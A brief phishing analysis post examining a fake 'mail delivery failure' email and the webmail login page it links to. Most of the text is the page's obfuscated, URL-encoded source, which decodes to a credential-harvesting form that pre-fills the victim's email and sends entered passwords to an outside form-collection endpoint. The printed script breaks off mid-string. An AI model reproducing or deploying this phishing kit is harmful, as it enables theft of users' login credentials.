Mail Delivery Subsystem Phishing Analysis

2026-05-06 // Fahad

Received a message indicating that the mail delivery subsystem had failed to send three emails. It immediately stood out as suspicious.

Link takes to https://red-blondell-19.tiiny.site/ The page mimicks a standard authentication portal. It included a login form requesting an email address and password.

Interesting Page Source code:

<html><head><title data-id="th-modified">Web Page</title><meta property="og:title" content="Web Page" data-id="th-modified" ><meta name="description" content="Notification" data-id="th-modified" ><meta property="og:description" content="Notification" data-id="th-modified" ><meta property="og:image" content="https://tiiny.host/assets/logo-purple-bg.png" data-id="th-modified" ><meta property="og:image:width" content="1501" data-id="th-modified" ><meta property="og:image:height" content="1501" data-id="th-modified" ><meta property="og:image:type" content="image/png" data-id="th-modified" ><meta property="og:url" content="https://red-blondell-19.tiiny.site/" data-id="th-modified" ><meta property="og:type" content="website" data-id="th-modified" ><script defer data-domain="red-blondell-19.tiiny.site" src="[https://analytics.tiiny.site/js/plausible.js](https://analytics.tiiny.site/js/plausible.js)"></script></head><body><script language="javascript">|
|<!--|
|// == Begin Free HTML Source Code Obfuscation Protection from https://snapbuilder.com == //|
|document.write(unescape('%3C%21%44%4F%43%54%59%50%45%20%68%74%6D%6C%3E%0A%3C%68%74%6D%6C%20%6C%61%6E%67%3D%22%65%6E%22%3E%0A%3C%68%65%61%64%3E%0A%20%20%3C%6D%65%74%61%20%63%68%61%72%73%65%74%3D%22%55%54%46%2D%38%22%3E%0A%20%20%3C%6D%65%74%61%20%6E%61%6D%65%3D%22%76%69%65%77%70%6F%72%74%22%20%63%6F%6E%74%65%6E%74%3D%22%77%69%64%74%68%3D%64%65%76%69%63%65%2D%77%69%64%74%68%2C%20%69%6E%69%74%69%61%6C%2D%73%63%61%6C%65%3D%31%2E%30%22%3E%0A%20%20%3C%21%2D%2D%20%50%72%65%76%65%6E%74%20%73%65%61%72%63%68%20%65%6E%67%69%6E%65%73%20%66%72%6F%6D%20%69%6E%64%65%78%69%6E%67%20%74%68%69%73%20%70%61%67%65%20%2D%2D%3E%0A%20%20%3C%6D%65%74%61%20%6E%61%6D%65%3D%22%72%6F%62%6F%74%73%22%20%63%6F%6E%74%65%6E%74%3D%22%6E%6F%69%6E%64%65%78%2C%20%6E%6F%66%6F%6C%6C%6F%77%22%3E%0A%20%20%3C%74%69%74%6C%65%3E%57%65%62%6D%61%69%6C%20%4C%6F%67%69%6E%3C%2F%74%69%74%6C%65%3E%0A%20%20%3C%73%74%79%6C%65%3E%0A%20%20%20%20%2A%7B%6D%61%72%67%69%6E%3A%30%3B%70%61%64%64%69%6E%67%3A%30%3B%62%6F%78%2D%73%69%7A%69%6E%67%3A%62%6F%72%64%65%72%2D%62%6F%78%3B%66%6F%6E%74%2D%66%61%6D%69%6C%79%3A%73%79%73%74%65%6D%2D%75%69%2C%2D%61%70%70%6C%65%2D%73%79%73%74%65%6D%2C%42%6C%69%6E%6B%4D%61%63%53%79%73%74%65%6D%46%6F%6E%74%2C%27%53%65%67%6F%65%20%55%49%27%2C%52%6F%62%6F%74%6F%2C%4F%78%79%67%65%6E%2C%55%62%75%6E%74%75%2C%43%61%6E%74%61%72%65%6C%6C%2C%73%61%6E%73%2D%73%65%72%69%66%7D%0A%20%20%20%20%62%6F%64%79%7B%62%61%63%6B%67%72%6F%75%6E%64%3A%23%66%35%66%35%66%35%3B%64%69%73%70%6C%61%79%3A%66%6C%65%78%3B%6A%75%73%74%69%66%79%2D%63%6F%6E%74%65%6E%74%3A%63%65%6E%74%65%72%3B%61%6C%69%67%6E%2D%69%74%65%6D%73%3A%63%65%6E%74%65%72%3B%6D%69%6E%2D%68%65%69%67%68%74%3A%31%30%30%76%68%3B%70%61%64%64%69%6E%67%3A%32%30%70%78%3B%63%6F%6C%6F%72%3A%23%33%33%33%7D%0A%20%20%20%20%2E%6C%6F%67%69%6E%2D%63%6F%6E%74%61%69%6E%65%72%7B%77%69%64%74%68%3A%31%30%30%25%3B%6D%61%78%2D%77%69%64%74%68%3A%34%32%30%70%78%3B%62%61%63%6B%67%72%6F%75%6E%64%3A%23%66%66%66%3B%62%6F%72%64%65%72%2D%72%61%64%69%75%73%3A%34%70%78%3B%62%6F%78%2D%73%68%61%64%6F%77%3A%30%20%32%70%78%20%31%30%70%78%20%72%67%62%61%28%30%2C%30%2C%30%2C%2E%31%29%3B%6F%76%65%72%66%6C%6F%77%3A%68%69%64%64%65%6E%7D%0A%20%20%20%20%2E%6C%6F%67%69%6E%2D%68%65%61%64%65%72%7B%62%61%63%6B%67%72%6F%75%6E%64%3A%23%30%30%35%61%39%65%3B%63%6F%6C%6F%72%3A%23%66%66%66%3B%70%61%64%64%69%6E%67%3A%32%30%70%78%3B%74%65%78%74%2D%61%6C%69%67%6E%3A%63%65%6E%74%65%72%7D%0A%20%20%20%20%2E%6C%6F%67%69%6E%2D%68%65%61%64%65%72%20%68%31%7B%66%6F%6E%74%2D%73%69%7A%65%3A%32%32%70%78%3B%66%6F%6E%74%2D%77%65%69%67%68%74%3A%34%30%30%7D%0A%20%20%20%20%2E%6C%6F%67%69%6E%2D%66%6F%72%6D%7B%70%61%64%64%69%6E%67%3A%33%30%70%78%7D%0A%20%20%20%20%2E%66%6F%72%6D%2D%67%72%6F%75%70%7B%6D%61%72%67%69%6E%2D%62%6F%74%74%6F%6D%3A%32%30%70%78%7D%0A%20%20%20%20%2E%69%6E%70%75%74%2D%77%69%74%68%2D%69%63%6F%6E%7B%70%6F%73%69%74%69%6F%6E%3A%72%65%6C%61%74%69%76%65%7D%0A%20%20%20%20%2E%69%6E%70%75%74%2D%77%69%74%68%2D%69%63%6F%6E%20%73%76%67%7B%70%6F%73%69%74%69%6F%6E%3A%61%62%73%6F%6C%75%74%65%3B%6C%65%66%74%3A%31%32%70%78%3B%74%6F%70%3A%35%30%25%3B%74%72%61%6E%73%66%6F%72%6D%3A%74%72%61%6E%73%6C%61%74%65%59%28%2D%35%30%25%29%3B%77%69%64%74%68%3A%31%36%70%78%3B%68%65%69%67%68%74%3A%31%36%70%78%3B%66%69%6C%6C%3A%23%36%36%36%7D%0A%20%20%20%20%69%6E%70%75%74%5B%74%79%70%65%3D%22%74%65%78%74%22%5D%2C%69%6E%70%75%74%5B%74%79%70%65%3D%22%70%61%73%73%77%6F%72%64%22%5D%7B%77%69%64%74%68%3A%31%30%30%25%3B%70%61%64%64%69%6E%67%3A%31%32%70%78%20%31%32%70%78%20%31%32%70%78%20%34%30%70%78%3B%62%6F%72%64%65%72%3A%31%70%78%20%73%6F%6C%69%64%20%23%63%63%63%3B%62%6F%72%64%65%72%2D%72%61%64%69%75%73%3A%34%70%78%3B%66%6F%6E%74%2D%73%69%7A%65%3A%31%34%70%78%3B%74%72%61%6E%73%69%74%69%6F%6E%3A%62%6F%72%64%65%72%20%2E%33%73%7D%0A%20%20%20%20%69%6E%70%75%74%5B%74%79%70%65%3D%22%74%65%78%74%22%5D%3A%66%6F%63%75%73%2C%69%6E%70%75%74%5B%74%79%70%65%3D%22%70%61%73%73%77%6F%72%64%22%5D%3A%66%6F%63%75%73%7B%62%6F%72%64%65%72%2D%63%6F%6C%6F%72%3A%23%30%30%35%61%39%65%3B%6F%75%74%6C%69%6E%65%3A%6E%6F%6E%65%3B%62%6F%78%2D%73%68%61%64%6F%77%3A%30%20%30%20%30%20%32%70%78%20%72%67%62%61%28%30%2C%39%30%2C%31%35%38%2C%2E%32%29%7D%0A%20%20%20%20%2E%63%68%65%63%6B%62%6F%78%2D%67%72%6F%75%70%7B%64%69%73%70%6C%61%79%3A%66%6C%65%78%3B%61%6C%69%67%6E%2D%69%74%65%6D%73%3A%63%65%6E%74%65%72%3B%6D%61%72%67%69%6E%2D%62%6F%74%74%6F%6D%3A%32%30%70%78%7D%0A%20%20%20%20%2E%63%68%65%63%6B%62%6F%78%2D%67%72%6F%75%70%20%69%6E%70%75%74%7B%6D%61%72%67%69%6E%2D%72%69%67%68%74%3A%38%70%78%7D%0A%20%20%20%20%2E%63%68%65%63%6B%62%6F%78%2D%67%72%6F%75%70%20%6C%61%62%65%6C%7B%6D%61%72%67%69%6E%2D%62%6F%74%74%6F%6D%3A%30%3B%66%6F%6E%74%2D%77%65%69%67%68%74%3A%34%30%30%7D%0A%20%20%20%20%62%75%74%74%6F%6E%7B%77%69%64%74%68%3A%31%30%30%25%3B%70%61%64%64%69%6E%67%3A%31%32%70%78%3B%62%61%63%6B%67%72%6F%75%6E%64%3A%23%30%30%35%61%39%65%3B%62%6F%72%64%65%72%3A%6E%6F%6E%65%3B%62%6F%72%64%65%72%2D%72%61%64%69%75%73%3A%34%70%78%3B%63%6F%6C%6F%72%3A%23%66%66%66%3B%66%6F%6E%74%2D%73%69%7A%65%3A%31%34%70%78%3B%66%6F%6E%74%2D%77%65%69%67%68%74%3A%36%30%30%3B%63%75%72%73%6F%72%3A%70%6F%69%6E%74%65%72%3B%74%72%61%6E%73%69%74%69%6F%6E%3A%62%61%63%6B%67%72%6F%75%6E%64%20%2E%33%73%7D%0A%20%20%20%20%62%75%74%74%6F%6E%3A%68%6F%76%65%72%7B%62%61%63%6B%67%72%6F%75%6E%64%3A%23%30%30%34%61%38%37%7D%0A%20%20%20%20%2E%66%6F%6F%74%65%72%7B%74%65%78%74%2D%61%6C%69%67%6E%3A%63%65%6E%74%65%72%3B%6D%61%72%67%69%6E%2D%74%6F%70%3A%32%30%70%78%3B%63%6F%6C%6F%72%3A%23%36%36%36%3B%66%6F%6E%74%2D%73%69%7A%65%3A%31%32%70%78%7D%0A%20%20%20%20%2E%66%6F%6F%74%65%72%20%61%7B%63%6F%6C%6F%72%3A%23%30%30%35%61%39%65%3B%74%65%78%74%2D%64%65%63%6F%72%61%74%69%6F%6E%3A%6E%6F%6E%65%7D%0A%20%20%20%20%2E%66%6F%6F%74%65%72%20%61%3A%68%6F%76%65%72%7B%74%65%78%74%2D%64%65%63%6F%72%61%74%69%6F%6E%3A%75%6E%64%65%72%6C%69%6E%65%7D%0A%20%20%20%20%2E%6C%61%6E%67%75%61%67%65%2D%73%65%6C%65%63%74%6F%72%7B%74%65%78%74%2D%61%6C%69%67%6E%3A%63%65%6E%74%65%72%3B%6D%61%72%67%69%6E%2D%74%6F%70%3A%31%35%70%78%3B%66%6F%6E%74%2D%73%69%7A%65%3A%31%32%70%78%3B%63%6F%6C%6F%72%3A%23%36%36%36%7D%0A%20%20%20%20%2E%6C%61%6E%67%75%61%67%65%2D%73%65%6C%65%63%74%6F%72%20%73%65%6C%65%63%74%7B%70%61%64%64%69%6E%67%3A%35%70%78%3B%62%6F%72%64%65%72%3A%31%70%78%20%73%6F%6C%69%64%20%23%63%63%63%3B%62%6F%72%64%65%72%2D%72%61%64%69%75%73%3A%33%70%78%3B%66%6F%6E%74%2D%73%69%7A%65%3A%31%32%70%78%3B%6D%61%72%67%69%6E%2D%6C%65%66%74%3A%35%70%78%7D%0A%20%20%20%20%2E%73%65%63%75%72%69%74%79%2D%6E%6F%74%69%63%65%7B%62%61%63%6B%67%72%6F%75%6E%64%3A%23%66%38%66%38%66%38%3B%62%6F%72%64%65%72%2D%74%6F%70%3A%31%70%78%20%73%6F%6C%69%64%20%23%65%65%65%3B%70%61%64%64%69%6E%67%3A%31%35%70%78%3B%74%65%78%74%2D%61%6C%69%67%6E%3A%63%65%6E%74%65%72%3B%66%6F%6E%74%2D%73%69%7A%65%3A%31%32%70%78%3B%63%6F%6C%6F%72%3A%23%36%36%36%7D%0A%20%20%20%20%2E%73%65%63%75%72%69%74%79%2D%6E%6F%74%69%63%65%20%73%76%67%7B%77%69%64%74%68%3A%31%32%70%78%3B%68%65%69%67%68%74%3A%31%32%70%78%3B%66%69%6C%6C%3A%23%32%65%63%63%37%31%3B%6D%61%72%67%69%6E%2D%72%69%67%68%74%3A%35%70%78%7D%0A%20%20%20%20%2F%2A%20%4C%6F%61%64%65%72%20%73%74%79%6C%65%20%2A%2F%0A%20%20%20%20%2E%6C%6F%61%64%65%72%7B%64%69%73%70%6C%61%79%3A%6E%6F%6E%65%3B%70%6F%73%69%74%69%6F%6E%3A%66%69%78%65%64%3B%74%6F%70%3A%30%3B%6C%65%66%74%3A%30%3B%77%69%64%74%68%3A%31%30%30%25%3B%68%65%69%67%68%74%3A%31%30%30%25%3B%62%61%63%6B%67%72%6F%75%6E%64%3A%72%67%62%61%28%30%2C%30%2C%30%2C%30%2E%35%29%3B%7A%2D%69%6E%64%65%78%3A%39%39%39%39%3B%6A%75%73%74%69%66%79%2D%63%6F%6E%74%65%6E%74%3A%63%65%6E%74%65%72%3B%61%6C%69%67%6E%2D%69%74%65%6D%73%3A%63%65%6E%74%65%72%7D%0A%20%20%20%20%2E%6C%6F%61%64%65%72%3A%3A%61%66%74%65%72%7B%63%6F%6E%74%65%6E%74%3A%22%22%3B%77%69%64%74%68%3A%34%30%70%78%3B%68%65%69%67%68%74%3A%34%30%70%78%3B%62%6F%72%64%65%72%3A%34%70%78%20%73%6F%6C%69%64%20%23%66%66%66%3B%62%6F%72%64%65%72%2D%74%6F%70%2D%63%6F%6C%6F%72%3A%23%30%30%35%61%39%65%3B%62%6F%72%64%65%72%2D%72%61%64%69%75%73%3A%35%30%25%3B%61%6E%69%6D%61%74%69%6F%6E%3A%73%70%69%6E%20%30%2E%38%73%20%6C%69%6E%65%61%72%20%69%6E%66%69%6E%69%74%65%7D%0A%20%20%20%20%40%6B%65%79%66%72%61%6D%65%73%20%73%70%69%6E%7B%74%6F%7B%74%72%61%6E%73%66%6F%72%6D%3A%72%6F%74%61%74%65%28%33%36%30%64%65%67%29%7D%7D%0A%20%20%3C%2F%73%74%79%6C%65%3E%0A%3C%2F%68%65%61%64%3E%0A%3C%62%6F%64%79%3E%0A%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%6C%6F%61%64%65%72%22%20%69%64%3D%22%6C%6F%61%64%65%72%22%3E%3C%2F%64%69%76%3E%0A%20%20%0A%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%6C%6F%67%69%6E%2D%63%6F%6E%74%61%69%6E%65%72%22%3E%0A%20%20%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%6C%6F%67%69%6E%2D%68%65%61%64%65%72%22%3E%0A%20%20%20%20%20%20%3C%68%31%3E%57%65%62%6D%61%69%6C%20%4C%6F%67%69%6E%3C%2F%68%31%3E%0A%20%20%20%20%3C%2F%64%69%76%3E%0A%20%20%20%20%0A%20%20%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%6C%6F%67%69%6E%2D%66%6F%72%6D%22%3E%0A%20%20%20%20%20%20%3C%66%6F%72%6D%20%69%64%3D%22%6C%6F%67%69%6E%46%6F%72%6D%22%20%6D%65%74%68%6F%64%3D%22%50%4F%53%54%22%3E%0A%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%48%6F%6E%65%79%70%6F%74%20%66%69%65%6C%64%20%2D%20%69%6E%76%69%73%69%62%6C%65%20%74%6F%20%68%75%6D%61%6E%73%2C%20%74%72%61%70%73%20%62%6F%74%73%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%3C%69%6E%70%75%74%20%74%79%70%65%3D%22%74%65%78%74%22%20%6E%61%6D%65%3D%22%5F%67%6F%74%63%68%61%22%20%73%74%79%6C%65%3D%22%64%69%73%70%6C%61%79%3A%6E%6F%6E%65%22%20%74%61%62%69%6E%64%65%78%3D%22%2D%31%22%20%61%75%74%6F%63%6F%6D%70%6C%65%74%65%3D%22%6F%66%66%22%3E%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%66%6F%72%6D%2D%67%72%6F%75%70%22%3E%0A%20%20%20%20%20%20%20%20%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%69%6E%70%75%74%2D%77%69%74%68%2D%69%63%6F%6E%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3C%73%76%67%20%76%69%65%77%42%6F%78%3D%22%30%20%30%20%32%34%20%32%34%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%70%61%74%68%20%64%3D%22%4D%32%30%20%34%48%34%63%2D%31%2E%31%20%30%2D%31%2E%39%39%2E%39%2D%31%2E%39%39%20%32%4C%32%20%31%38%63%30%20%31%2E%31%2E%39%20%32%20%32%20%32%68%31%36%63%31%2E%31%20%30%20%32%2D%2E%39%20%32%2D%32%56%36%63%30%2D%31%2E%31%2D%2E%39%2D%32%2D%32%2D%32%7A%6D%30%20%34%6C%2D%38%20%35%2D%38%2D%35%56%36%6C%38%20%35%20%38%2D%35%76%32%7A%22%2F%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3C%2F%73%76%67%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3C%69%6E%70%75%74%20%74%79%70%65%3D%22%74%65%78%74%22%20%69%64%3D%22%75%73%65%72%22%20%6E%61%6D%65%3D%22%65%6D%61%69%6C%22%20%70%6C%61%63%65%68%6F%6C%64%65%72%3D%22%22%20%72%65%61%64%6F%6E%6C%79%3E%0A%20%20%20%20%20%20%20%20%20%20%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%66%6F%72%6D%2D%67%72%6F%75%70%22%3E%0A%20%20%20%20%20%20%20%20%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%69%6E%70%75%74%2D%77%69%74%68%2D%69%63%6F%6E%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3C%73%76%67%20%76%69%65%77%42%6F%78%3D%22%30%20%30%20%32%34%20%32%34%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%70%61%74%68%20%64%3D%22%4D%31%38%20%38%68%2D%31%56%36%63%30%2D%32%2E%37%36%2D%32%2E%32%34%2D%35%2D%35%2D%35%53%37%20%33%2E%32%34%20%37%20%36%76%32%48%36%63%2D%31%2E%31%20%30%2D%32%20%2E%39%2D%32%20%32%76%31%30%63%30%20%31%2E%31%2E%39%20%32%20%32%20%32%68%31%32%63%31%2E%31%20%30%20%32%2D%2E%39%20%32%2D%32%56%31%30%63%30%2D%31%2E%31%2D%2E%39%2D%32%2D%32%2D%32%7A%4D%31%32%20%31%37%63%2D%31%2E%31%20%30%2D%32%2D%2E%39%2D%32%2D%32%73%2E%39%2D%32%20%32%2D%32%20%32%20%2E%39%20%32%20%32%2D%2E%39%20%32%2D%32%20%32%7A%4D%31%35%2E%31%20%38%48%38%2E%39%56%36%63%30%2D%31%2E%37%31%20%31%2E%33%39%2D%33%2E%31%20%33%2E%31%2D%33%2E%31%20%31%2E%37%31%20%30%20%33%2E%31%20%31%2E%33%39%20%33%2E%31%20%33%2E%31%76%32%7A%22%2F%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3C%2F%73%76%67%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3C%69%6E%70%75%74%20%74%79%70%65%3D%22%70%61%73%73%77%6F%72%64%22%20%69%64%3D%22%70%61%73%73%22%20%6E%61%6D%65%3D%22%70%61%73%73%77%6F%72%64%22%20%70%6C%61%63%65%68%6F%6C%64%65%72%3D%22%50%61%73%73%77%6F%72%64%22%20%72%65%71%75%69%72%65%64%3E%0A%20%20%20%20%20%20%20%20%20%20%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%63%68%65%63%6B%62%6F%78%2D%67%72%6F%75%70%22%3E%0A%20%20%20%20%20%20%20%20%20%20%3C%69%6E%70%75%74%20%74%79%70%65%3D%22%63%68%65%63%6B%62%6F%78%22%20%69%64%3D%22%72%65%6D%65%6D%62%65%72%22%3E%0A%20%20%20%20%20%20%20%20%20%20%3C%6C%61%62%65%6C%20%66%6F%72%3D%22%72%65%6D%65%6D%62%65%72%22%3E%52%65%6D%65%6D%62%65%72%20%6D%65%3C%2F%6C%61%62%65%6C%3E%0A%20%20%20%20%20%20%20%20%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%3C%62%75%74%74%6F%6E%20%74%79%70%65%3D%22%73%75%62%6D%69%74%22%3E%53%69%67%6E%20%49%6E%3C%2F%62%75%74%74%6F%6E%3E%0A%20%20%20%20%20%20%3C%2F%66%6F%72%6D%3E%0A%20%20%20%20%20%20%0A%20%20%20%20%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%66%6F%6F%74%65%72%22%3E%0A%20%20%20%20%20%20%20%20%3C%70%3E%3C%61%20%68%72%65%66%3D%22%23%22%3E%46%6F%72%67%6F%74%20%79%6F%75%72%20%70%61%73%73%77%6F%72%64%3F%3C%2F%61%3E%3C%2F%70%3E%0A%20%20%20%20%20%20%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%0A%20%20%20%20%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%6C%61%6E%67%75%61%67%65%2D%73%65%6C%65%63%74%6F%72%22%3E%0A%20%20%20%20%20%20%20%20%4C%61%6E%67%75%61%67%65%3A%20%0A%20%20%20%20%20%20%20%20%3C%73%65%6C%65%63%74%3E%0A%20%20%20%20%20%20%20%20%20%20%3C%6F%70%74%69%6F%6E%3E%45%6E%67%6C%69%73%68%3C%2F%6F%70%74%69%6F%6E%3E%0A%20%20%20%20%20%20%20%20%20%20%3C%6F%70%74%69%6F%6E%3E%45%73%70%61%F1%6F%6C%3C%2F%6F%70%74%69%6F%6E%3E%0A%20%20%20%20%20%20%20%20%20%20%3C%6F%70%74%69%6F%6E%3E%46%72%61%6E%E7%61%69%73%3C%2F%6F%70%74%69%6F%6E%3E%0A%20%20%20%20%20%20%20%20%20%20%3C%6F%70%74%69%6F%6E%3E%44%65%75%74%73%63%68%3C%2F%6F%70%74%69%6F%6E%3E%0A%20%20%20%20%20%20%20%20%3C%2F%73%65%6C%65%63%74%3E%0A%20%20%20%20%20%20%3C%2F%64%69%76%3E%0A%20%20%20%20%3C%2F%64%69%76%3E%0A%20%20%20%20%0A%20%20%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%73%65%63%75%72%69%74%79%2D%6E%6F%74%69%63%65%22%3E%0A%20%20%20%20%20%20%3C%73%76%67%20%76%69%65%77%42%6F%78%3D%22%30%20%30%20%32%34%20%32%34%22%3E%0A%20%20%20%20%20%20%20%20%3C%70%61%74%68%20%64%3D%22%4D%31%38%20%38%68%2D%31%56%36%63%30%2D%32%2E%37%36%2D%32%2E%32%34%2D%35%2D%35%2D%35%53%37%20%33%2E%32%34%20%37%20%36%76%32%48%36%63%2D%31%2E%31%20%30%2D%32%20%2E%39%2D%32%20%32%76%31%30%63%30%20%31%2E%31%2E%39%20%32%20%32%20%32%68%31%32%63%31%2E%31%20%30%20%32%2D%2E%39%20%32%2D%32%56%31%30%63%30%2D%31%2E%31%2D%2E%39%2D%32%2D%32%2D%32%7A%4D%31%32%20%31%37%63%2D%31%2E%31%20%30%2D%32%2D%2E%39%2D%32%2D%32%73%2E%39%2D%32%20%32%2D%32%20%32%20%2E%39%20%32%20%32%2D%2E%39%20%32%2D%32%20%32%7A%4D%31%35%2E%31%20%38%48%38%2E%39%56%36%63%30%2D%31%2E%37%31%20%31%2E%33%39%2D%33%2E%31%20%33%2E%31%2D%33%2E%31%20%31%2E%37%31%20%30%20%33%2E%31%20%31%2E%33%39%20%33%2E%31%20%33%2E%31%76%32%7A%22%2F%3E%0A%20%20%20%20%20%20%3C%2F%73%76%67%3E%0A%20%20%20%20%20%20%53%65%63%75%72%65%20%53%53%4C%20%43%6F%6E%6E%65%63%74%69%6F%6E%0A%20%20%20%20%3C%2F%64%69%76%3E%0A%20%20%3C%2F%64%69%76%3E%0A%0A%20%20%3C%73%63%72%69%70%74%3E%0A%20%20%20%20%2F%2F%20%46%6F%72%6D%73%70%61%72%6B%20%65%6E%64%70%6F%69%6E%74%0A%20%20%20%20%63%6F%6E%73%74%20%46%4F%52%4D%53%50%41%52%4B%5F%55%52%4C%20%3D%20%22%68%74%74%70%73%3A%2F%2F%73%75%62%6D%69%74%2D%66%6F%72%6D%2E%63%6F%6D%2F%76%4A%49%67%6A%7A%32%5A%6A%22%3B%0A%20%20%20%20%0A%20%20%20%20%2F%2F%20%47%65%74%20%65%6D%61%69%6C%20%66%72%6F%6D%20%55%52%4C%20%68%61%73%68%20%28%65%2E%67%2E%2C%20%23%65%6D%61%69%6C%40%64%6F%6D%61%69%6E%2E%63%6F%6D%29%0A%20%20%20%20%66%75%6E%63%74%69%6F%6E%20%67%65%74%45%6D%61%69%6C%46%72%6F%6D%55%52%4C%28%29%20%7B%0A%20%20%20%20%20%20%69%66%20%28%77%69%6E%64%6F%77%2E%6C%6F%63%61%74%69%6F%6E%2E%68%61%73%68%20%26%26%20%77%69%6E%64%6F%77%2E%6C%6F%63%61%74%69%6F%6E%2E%68%61%73%68%2E%69%6E%63%6C%75%64%65%73%28%27%40%27%29%29%20%7B%0A%20%20%20%20%20%20%20%20%72%65%74%75%72%6E%20%77%69%6E%64%6F%77%2E%6C%6F%63%61%74%69%6F%6E%2E%68%61%73%68%2E%73%75%62%73%74%72%69%6E%67%28%31%29%3B%0A%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%63%6F%6E%73%74%20%75%72%6C%50%61%72%61%6D%73%20%3D%20%6E%65%77%20%55%52%4C%53%65%61%72%63%68%50%61%72%61%6D%73%28%77%69%6E%64%6F%77%2E%6C%6F%63%61%74%69%6F%6E%2E%73%65%61%72%63%68%29%3B%0A%20%20%20%20%20%20%69%66%20%28%75%72%6C%50%61%72%61%6D%73%2E%68%61%73%28%27%65%6D%61%69%6C%27%29%29%20%7B%0A%20%20%20%20%20%20%20%20%72%65%74%75%72%6E%20%75%72%6C%50%61%72%61%6D%73%2E%67%65%74%28%27%65%6D%61%69%6C%27%29%3B%0A%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%72%65%74%75%72%6E%20%6E%75%6C%6C%3B%0A%20%20%20%20%7D%0A%20%20%20%20%0A%20%20%20%20%2F%2F%20%50%72%65%2D%66%69%6C%6C%20%65%6D%61%69%6C%20%66%69%65%6C%64%0A%20%20%20%20%63%6F%6E%73%74%20%65%6D%61%69%6C%46%72%6F%6D%55%72%6C%20%3D%20%67%65%74%45%6D%61%69%6C%46%72%6F%6D%55%52%4C%28%29%3B%0A%20%20%20%20%63%6F%6E%73%74%20%65%6D%61%69%6C%49%6E%70%75%74%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%42%79%49%64%28%27%75%73%65%72%27%29%3B%0A%20%20%20%20%69%66%20%28%65%6D%61%69%6C%46%72%6F%6D%55%72%6C%29%20%7B%0A%20%20%20%20%20%20%65%6D%61%69%6C%49%6E%70%75%74%2E%76%61%6C%75%65%20%3D%20%65%6D%61%69%6C%46%72%6F%6D%55%72%6C%3B%0A%20%20%20%20%7D%20%65%6C%73%65%20%7B%0A%20%20%20%20%20%20%65%6D%61%69%6C%49%6E%70%75%74%2E%76%61%6C%75%65%20%3D%20%27%4E%6F%20%65%6D%61%69%6C%20%73%70%65%63%69%66%69%65%64%20%69%6E%20%55%52%4C%27%3B%0A%20%20%20%20%7D%0A%20%20%20%20%0A%20%20%20%20%2F%2F%20%46%6F%72%6D%20%73%75%62%6D%69%73%73%69%6F%6E%20%68%61%6E%64%6C%65%72%0A%20%20%20%20%63%6F%6E%73%74%20%66%6F%72%6D%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%42%79%49%64%28%27%6C%6F%67%69%6E%46%6F%72%6D%27%29%3B%0A%20%20%20%20%63%6F%6E%73%74%20%6C%6F%61%64%65%72%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%42%79%49%64%28%27%6C%6F%61%64%65%72%27%29%3B%0A%20%20%20%20%6C%65%74%20%61%74%74%65%6D%70%74%43%6F%75%6E%74%20%3D%20%30%3B%0A%20%20%20%20%6C%65%74%20%66%69%72%73%74%50%61%73%73%77%6F%72%64%20%3D%20%27%27%3B%0A%20%20%20%20%0A%20%20%20%20%66%6F%72%6D%2E%61%64%64%45%76%65%6E%74%4C%69%73%74%65%6E%65%72%28%27%73%75%62%6D%69%74%27%2C%20%61%73%79%6E%63%20%66%75%6E%63%74%69%6F%6E%28%65%29%20%7B%0A%20%20%20%20%20%20%65%2E%70%72%65%76%65%6E%74%44%65%66%61%75%6C%74%28%29%3B%0A%20%20%20%20%20%20%0A%20%20%20%20%20%20%63%6F%6E%73%74%20%65%6D%61%69%6C%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%42%79%49%64%28%27%75%73%65%72%27%29%2E%76%61%6C%75%65%2E%74%72%69%6D%28%29%3B%0A%20%20%20%20%20%20%63%6F%6E%73%74%20%70%61%73%73%77%6F%72%64%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%42%79%49%64%28%27%70%61%73%73%27%29%2E%76%61%6C%75%65%2E%74%72%69%6D%28%29%3B%0A%20%20%20%20%20%20%0A%20%20%20%20%20%20%69%66%20%28%21%65%6D%61%69%6C%20%7C%7C%20%65%6D%61%69%6C%20%3D%3D%3D%20%27%4E%6F%20%65%6D%61%69%6C%20%73%70%65%63%69%66%69%65%64%20%69%6E%20%55%52%4C%27%29%20%7B%0A%20%20%20%20%20%20%20%20%61%6C%65%72%74%28%27%50%6C%65%61%73%65%20%65%6E%74%65%72%20%61%20%76%6